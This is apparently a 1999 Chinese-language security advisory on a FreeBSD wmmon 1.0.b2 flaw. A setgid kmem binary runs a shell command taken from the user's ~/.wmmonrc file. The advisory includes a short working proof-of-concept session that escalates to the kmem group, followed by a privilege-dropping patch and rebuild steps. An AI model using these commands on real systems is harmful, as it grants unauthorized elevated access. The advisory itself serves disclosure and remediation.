首页 -> 安全研究

安全研究

安全漏洞
FreeBSD Wmmon 漏洞

发布日期:1999-12-23
更新日期:1999-12-23

受影响系统:
FreeBSD + wmmon 1.0.b2
描述:
Wmmon是一个用来监视CPU负载以及其他系统利用情况的工具。它在WindowMaker下运行。


这个程序的FreeBSD版本有一个"特性"能被用来很容易得获得kmem组的权限(在最近的
安装版本中,在更老一点的版本下可以获得root用户权限)。在FreeBSD下这个程序必须
被设置setgid kmem或者setuid root,否则它就不能通过内存设备来获得系统负载信息。
而在Linux版本中应该没有这个问题,因为它可以通过procfs文件系统获得相关信息,
因此并不需要特别的权限。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve)



建议:
下面是一个patch文件:

--- work/wmmon.app/wmmon/wmmon.c.old    Thu Dec  2 02:06:55 1999
+++ work/wmmon.app/wmmon/wmmon.c    Thu Dec  2 04:20:22 1999
@@ -318,6 +318,8 @@

     if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
     if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); }
+    if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
+    if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
     if (kvmd) {
         if (kvm_nlist(kvmd, nl) >= 0) {
             struct nlist *nlp;

为了修补wmmon,将上面的程序存为一个名为wmmon.patch的文件,然后按照下面的步骤去做:

cd /usr/ports/sysutils/wmmon
make patch
patch < wmmon.patch
make
su root
make deinstall
make reinstall

浏览次数:7957
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障